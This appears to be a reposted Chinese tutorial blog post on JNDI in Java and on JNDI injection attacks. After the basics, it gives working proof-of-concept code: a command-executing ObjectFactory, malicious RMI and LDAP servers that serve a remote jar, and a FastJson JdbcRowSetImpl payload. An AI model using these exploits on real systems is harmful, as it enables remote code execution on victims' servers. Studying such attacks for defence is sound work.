java安全(四) JNDI

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

在这里插入图片描述

1.JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

通俗理解,使用jndi作为数据源而不是直接去连接数据库,将数据库交给jndi去配置管理,jndi通过数据源名称去应用数据源访问数据库

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

2.JNDI目录服务

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())、applet 参数和应用程序资源文件(jndi.properties)。

使用JNDI创建目录服务对象代码片段:

// 创建环境变量对象
Hashtable env = new Hashtable();// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。

javax.naming.spi.InitialContextFactory:

package javax.naming.spi;public interface InitialContextFactory {public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;}

3.JNDI-DNS解析

JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory即可。

com.sun.jndi.dns.DnsContextFactory代码片段:

package com.sun.jndi.dns;public class DnsContextFactory implements InitialContextFactory {// 获取处理DNS的JNDI上下文对象public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {if (var1 == null) {var1 = new Hashtable(5);}return urlToContext(getInitCtxUrl(var1), var1);}// 省去其他无关方法和变量
}

4.使用JNDI解析DNS测试:

package jndi;import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/23*/
public class DNSContextFactoryTest {public static void main(String[] args) {// 创建环境变量对象Hashtable env = new Hashtable();// 设置JNDI初始化工厂类名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");// 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址env.put(Context.PROVIDER_URL, "dns://114.114.114.114");   //114dns地址try {// 创建JNDI目录服务对象DirContext context = new InitialDirContext(env);// 获取DNS解析记录测试Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});System.out.println(attrs1);System.out.println(attrs2);} catch (NamingException e) {e.printStackTrace();}}}

输出:
在这里插入图片描述
或者使用dnslog平台解析:

env.put(Context.PROVIDER_URL, “dns://6ew8cd.dnslog.cn”);在这里插入图片描述

5.JNDI-RMI远程方法调用

RMI的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动RMI服务:com.anbai.sec.rmi.RMIServerTest,启动完成后就可以使用JNDI连接并调用了。

使用JNDI解析调用远程RMI方法测试:

package com.anbai.sec.jndi;import com.anbai.sec.rmi.RMITestInterface;import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;import static com.anbai.sec.rmi.RMIServerTest.*;/*** Creator: yz* Date: 2019/12/24*/
public class RMIRegistryContextFactoryTest {public static void main(String[] args) {String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;// 创建环境变量对象Hashtable env = new Hashtable();// 设置JNDI初始化工厂类名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");// 设置JNDI提供服务的URL地址env.put(Context.PROVIDER_URL, providerURL);// 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demotry {// 创建JNDI目录服务对象DirContext context = new InitialDirContext(env);// 通过命名服务查找远程RMI绑定的RMITestInterface对象RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);// 调用远程的RMITestInterface接口的test方法String result = testInterface.test();System.out.println(result);} catch (NamingException e) {e.printStackTrace();} catch (RemoteException e) {e.printStackTrace();}}}

程序执行结果:

Hello RMI~

6.JNDI-LDAP

LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。

使用JNDI创建LDAP连接测试:

package com.anbai.sec.jndi;import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/24*/
public class LDAPFactoryTest {public static void main(String[] args) {try {// 设置用户LDAP登陆用户DNString userDN = "cn=Manager,dc=javaweb,dc=org";// 设置登陆用户密码String password = "123456";// 创建环境变量对象Hashtable<String, Object> env = new Hashtable<String, Object>();// 设置JNDI初始化工厂类名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");// 设置JNDI提供服务的URL地址env.put(Context.PROVIDER_URL, "ldap://localhost:389");// 设置安全认证方式env.put(Context.SECURITY_AUTHENTICATION, "simple");// 设置用户信息env.put(Context.SECURITY_PRINCIPAL, userDN);// 设置用户密码env.put(Context.SECURITY_CREDENTIALS, password);// 创建LDAP连接DirContext ctx = new InitialDirContext(env);// 使用ctx可以查询或存储数据,此处省去业务代码ctx.close();} catch (Exception e) {e.printStackTrace();}}}

7.JNDI-DataSource

JNDI连接数据源比较特殊,Java目前不提供内置的实现方法,提供数据源服务的多是Servlet容器,这里我们以Tomcat为例学习如何在应用服务中使用JNDI查找容器提供的数据源。

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource,这里我们在Tomcat的conf/context.xml中添加如下配置:

Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"maxTotal="100" maxIdle="30" maxWaitMillis="10000"username="root" password="root" driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mysql"/>

然后我们需要下载好Mysql的JDBC驱动包并复制到Tomcat的lib目录:

wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"

配置好数据源之后我们重启Tomcat服务就可以使用JNDI的方式获取DataSource了。

使用JNDI获取数据源并查询数据库测试:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.ResultSet" %>
<%// 初始化JNDIContextContext context = new InitialContext();// 搜索Tomcat注册的JNDI数据库连接池对象DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");// 获取数据库连接Connection connection = dataSource.getConnection();// 查询SQL语句并返回结果ResultSet rs = connection.prepareStatement("select version()").executeQuery();// 获取数据库查询结果while (rs.next()) {out.println(rs.getObject(1));}rs.close();
%>

访问tomcat-datasource-lookup.jsp输出: 5.7.28,需要注意的是示例jsp中的Demo使用了系统的环境变量所以并不需要在创建context的时候传入环境变量对象。Tomcat在启动的时候会设置JNDI变量信息,处理JNDI服务的类是org.apache.naming.java.javaURLContextFactory,所以在jsp中我们可以直接创建context。

8.JNDI-协议转换

如果JNDI在lookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

JNDI默认支持自动转换的协议有:
|
RMI示例代码片段:

// 创建JNDI目录服务上下文
InitialContext context = new InitialContext();// 查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");

示例代码通过lookup会自动使用rmiURLContext处理RMI请求。

9.JNDI-Reference

在JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI/LDAP远程对象引

10.RMI/LDAP远程对象引用安全限制

在RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

1.JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。
2.JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在启动Java程序时候指定-D参数:-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true。

LDAP在JDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。

高版本JDK可参考
https://paper.seebug.org/942/

11.使用创建恶意的ObjectFactory对象

JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。

对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

ReferenceObjectFactory示例代码:

package com.anbai.sec.jndi.injection;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;/*** 引用对象创建工厂*/
public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。* @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。* @param env  创建对象时使用的环境(可能为 null)。* @return 对象工厂创建出的对象* @throws Exception 对象创建异常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}

12.创建恶意的RMI服务

如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的RMI服务端代码:

package com.anbai.sec.jndi.injection;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;/*** 引用对象创建工厂*/
public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。* @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。* @param env  创建对象时使用的环境(可能为 null)。* @return 对象工厂创建出的对象* @throws Exception 对象创建异常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}

13.创建恶意的RMI服务

如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的RMI服务端代码:

package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** Creator: yz* Date: 2019/12/25*/
public class RMIReferenceServerTest {public static void main(String[] args) {try {// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类String url = "http://p2j.cn/tools/jndi-test.jar";// 对象的工厂类名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";// 监听RMI服务端口LocateRegistry.createRegistry(RMI_PORT);// 创建一个远程的JNDI对象工厂类的引用对象Reference reference = new Reference(className, className, url);// 转换为RMI引用对象ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);// 绑定一个恶意的Remote对象到RMI服务Naming.bind(RMI_NAME, referenceWrapper);System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}

输出:
在这里插入图片描述
启动完RMIReferenceServerTest后在本地监听9000端口测试客户端调用RMI方法后是否执行了curl localhost:9000命令。

使用nc监听端口:

nc -vv -l 9000

RMI客户端代码:

package com.anbai.sec.jndi.injection;import javax.naming.InitialContext;
import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;/*** Creator: yz* Date: 2019/12/25*/
public class RMIReferenceClientTest {public static void main(String[] args) {try {
//       // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
//       System.setProperty("java.rmi.server.useCodebaseOnly", "false");
//       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");InitialContext context = new InitialContext();// 获取RMI绑定的恶意ReferenceWrapper对象Object obj = context.lookup(RMI_NAME);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}

程序运行结果:
程序运行结果:

Process[pid=8634, exitValue="not exited"]

注:如果为高版本java会报错:The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
不信任该工厂类

绕过高版本JDK的限制进行JNDI注入利用:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

客户端执行成功后可以在nc中看到来自客户端的curl请求:

GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*

上面的示例演示了在JVM默认允许加载远程RMI引用对象所带来的RCE攻击,但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。

14.创建恶意的LDAP服务

LDAP和RMI同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的LDAP服务端代码:

package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;public class LDAPReferenceServerTest {// 设置LDAP服务端口public static final int SERVER_PORT = 3890;// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0public static final String BIND_HOST = "127.0.0.1";// 设置一个实体名称public static final String LDAP_ENTRY_NAME = "test";// 获取LDAP服务地址public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";// 设置LDAP基底DNprivate static final String LDAP_BASE = "dc=javasec,dc=org";public static void main(String[] args) {try {// 创建LDAP配置对象InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 设置LDAP监听配置信息config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,ServerSocketFactory.getDefault(), SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));// 添加自定义的LDAP操作拦截器config.addInMemoryOperationInterceptor(new OperationInterceptor());// 创建LDAP服务对象InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 启动服务ds.startListening();System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base  = result.getRequest().getBaseDN();Entry  entry = new Entry(base);try {// 设置对象的工厂类名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";entry.addAttribute("javaClassName", className);entry.addAttribute("javaFactory", className);// 设置远程的恶意引用对象的jar地址entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);// 设置LDAP objectClassentry.addAttribute("objectClass", "javaNamingReference");result.sendSearchEntry(entry);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));} catch (Exception e1) {e1.printStackTrace();}}}}

程序运行结果:

在这里插入图片描述

LDAP客户端代码:

package com.anbai.sec.jndi.injection;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;/*** Creator: yz* Date: 2019/12/27*/
public class LDAPReferenceClientTest {public static void main(String[] args) {try {
//       // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
//       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");Context ctx = new InitialContext();// 获取RMI绑定的恶意ReferenceWrapper对象Object obj = ctx.lookup(LDAP_URL);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}

输出:

在这里插入图片描述

15.FastJson 反序列化JNDI注入示例

比较典型的漏洞有FastJson的JNDI注入漏洞,FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE。

JdbcRowSetImpl示例:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName(request.getParameter("url"));jdbcRowSet.setAutoCommit(true);
%>

假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceName和setAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:

1.反射创建com.sun.rowset.JdbcRowSetImpl对象。
2.反射调用setDataSourceName方法,设置JNDI的URL。
3.反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
4.调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
5.执行恶意的类对象工厂方法实现RCE。

FastJson JdbcRowSetImpl Payload:

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:3890/test", "autoCommit": "true"
}

FastJson JNDI测试代码:

package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;/*** Creator: yz* Date: 2019/12/28*/
public class FastJsonRCETest {public static void main(String[] args) {
//            // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";Object obj = JSON.parse(json);System.out.println(obj);}}

程序执行后nc会接收到本机的curl请求表明漏洞已利用成功:

GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*

补充资料
对高版本jdk的ldap的限制进行绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532546.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java安全(五)java反序列化

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 1. 序列化 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中&#xff0c…

git merge和rebase的区别与选择

git merge和rebase的区别与选择 转自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 这是一篇…

java安全(六)java反序列化2,ysoserial调试

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; ysoserial 下载地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以让⽤户根据⾃⼰选择的利⽤链&#xff0c;⽣成反序列化利⽤数据&…

java安全(七) 反序列化3 CC利用链 TransformedMap版

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 目录图解代码demo涉及的接口与类&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解总结&#xff1a…

java安全(八)TransformedMap构造POC

给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 给个关注&#xff1f;宝儿&#xff01; 上一篇构造了一个了commons-collections的demo 【传送门】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时&#xff0c;最常使用…

TVM:编译深度学习模型快速上手教程

TVM&#xff1a;编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络&#xff0c;并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中&#xff0c;我们使用 cu…

TVM:设计与架构

TVM&#xff1a;设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下&#xff1a; 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用&#xff0c;请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师&#xff1a;周斌 本节内容&#xff1a; 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师&#xff1a;周斌 本节内容&#xff1a; CPU和GPU互动模式GPU线程组织模型&#xff08;需要不停强化&#xff09;GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师&#xff1a;周斌 GPU架构概览 GPU特别使用于&#xff1a; 密集计算&#xff0c;高度可并行计算图形学 晶体管主要被用于&#xff1a; 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先&#xff0c;我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一确定一棵二叉树&…

目标检测综述

目标检测综述 转自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 论文参考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目标检测领域发展至今已有二十余载&#xff0c;从早期的传统方法到如今的深度学习方法&#x…

Nvidia CUDA初级教程7 CUDA编程二

Nvidia CUDA初级教程7 CUDA编程二 视频&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p8 讲师&#xff1a;周斌 本节内容&#xff1a; 内置类型和函数 Built-ins and functions线程同步 Synchronizing线程调度 Scheduling threads存储模型 Memory model重访 Matr…

详解优酷视频质量评价体系

万字长文 | 详解优酷视频质量评价体系 分享嘉宾&#xff5c;李静博士&#xff0c;阿里巴巴文娱集团资深算法专家&#xff0c;阿里巴巴大文娱摩酷实验室视频体验与质量团队负责人 整理出品&#xff5c;AICUG人工智能社区 本文地址&#xff1a;https://www.6aiq.com/article/1617…

视频质量评价:挑战与机遇

视频质量评价&#xff1a;挑战与机遇 转自&#xff1a;https://zhuanlan.zhihu.com/p/384603663 本文整理自鹏城实验室助理研究员王海强在LiveVideoStack线上分享上的演讲。他通过自身的实践经验&#xff0c;详细讲解了视频质量评价的挑战与机遇。 文 / 王海强 整理 / LiveVi…

关于二分法的边界问题及两种写法

关于二分法的边界问题及两种写法 二分查找法大家很熟悉了&#xff0c;对于一个有序序列&#xff0c;我们可以通过二分查找法在 O(logN)O(logN)O(logN) 的时间内找到想要的元素。但是&#xff0c;在代码实现的过程中&#xff0c;如果没有仔细理解清楚&#xff0c;二分法的边界条…

Segmentaion标签的三种表示:poly、mask、rle

Segmentaion标签的三种表示&#xff1a;poly、mask、rle 不同于图像分类这样比较简单直接的计算机视觉任务&#xff0c;图像分割任务&#xff08;又分为语义分割、实例分割、全景分割&#xff09;的标签形式稍为复杂。在分割任务中&#xff0c;我们需要在像素级上表达的是一张…

Ubuntu PPA 使用指南

Ubuntu PPA 使用指南 转自&#xff1a;https://zhuanlan.zhihu.com/p/55250294 一篇涵盖了在 Ubuntu 和其他 Linux 发行版中使用 PPA 的几乎所有问题的深入的文章。 如果你一直在使用 Ubuntu 或基于 Ubuntu 的其他 Linux 发行版&#xff0c;例如 Linux Mint、Linux Lite、Zorin…

杨宏宇:腾讯多模态内容理解技术及应用

杨宏宇&#xff1a;腾讯多模态内容理解技术及应用 分享嘉宾&#xff1a;杨宇鸿 腾讯 内容理解高级工程师 编辑整理&#xff1a;吴祺尧 出品平台&#xff1a;DataFunTalk 导读&#xff1a; 搜索内容的理解贯穿了整个搜索系统。我们需要从多个粒度理解搜索内容&#xff0c;包括语…